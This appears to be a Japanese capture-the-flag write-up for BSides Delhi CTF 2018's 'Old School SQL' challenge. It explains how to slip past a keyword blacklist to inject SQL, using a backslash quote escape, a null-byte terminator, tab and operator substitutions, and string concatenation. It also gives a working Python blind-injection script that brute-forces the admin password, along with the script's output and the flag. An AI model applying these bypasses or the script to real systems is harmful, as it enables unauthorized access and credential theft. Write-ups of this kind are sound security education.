BSides Delhi CTF 2018 - Old School SQL
問題文
Being the admin is great

writeup
Blind SQL Injectionでpwを特定できそうだが、ブラックリストのワードが多数ある。
まず'(シングルクォート)から脱出しないといけないが、'はブラックリストに登録されているため使用できない。
これは、userの末尾に\(バックスラッシュ)を入れることで、'をエスケープして回避した。
例えば、userにhoge\をセットすると、where句のuserにはhoge\' and pw=がセットされる。そして、pwにセットした文字列は'の外に出た形になる。
しかし、このままでは、元のpwを閉じていた'が邪魔である。--および#はブラックリストに登録されているため使用できない。代わりにpwの最後に\x00のNull文字をセットすることでコメントアウトした。
まとめると、元の以下のSQLに、
select user from chal where user='' and pw=''
user=a\'、pw=<任意のSQL断片>;Null文字をセットすることで、
select user from chal where user='a\' and pw='<任意のSQL断片>;Null文字'
とすることができる。
あとは、<任意のSQL断片>のエリアを使用して、adminのpwを特定するためのBlind SQL Injectionを実行すればよい。 まだまだブラックリストはあるが、下表のとおり回避した。
| 禁止文字 | 回避策 |
|---|---|
'(シングルクォート) |
”(ダブルクォート)を代わりに使用 |
| 半角スペース | タブ文字を代わりに使用 |
= |
STRCMPとis not TRUEを代わりに使用 |
or |
||を代わりに使用 |
admin |
"admi" "n"で文字列結合 |
Blind SQL Injectionのスクリプトは以下の通り。
import requests import string URL = 'http://35.200.215.237/' LETTERS = string.digits+string.ascii_letters+"!#$&()*+,-./:;<=>?@[\]^_`{|}~" password = '' while True: flag = False for e in LETTERS: r = requests.get( URL, params={ "pw" :'||(STRCMP("admi"\t"n",user)\tis\tnot\tTRUE\t&&\tSTRCMP("{}",LEFT(pw,{}))\tis\tnot\tTRUE);\x00'.format(password+e,len(password+e)), "user":"a\\" } ) if "Welcome admin" in r.text: password += e print(password) flag = True break if flag: continue exit()
実行結果は以下の通り。
1 17 172 1729 17292 172921 1729211 17292115 ←パスワード
http://35.200.215.237/?pw=17292115にアクセスするとflagが表示された。
flag{sQ1_inj3c7i0n_i5_v3ry_3asy}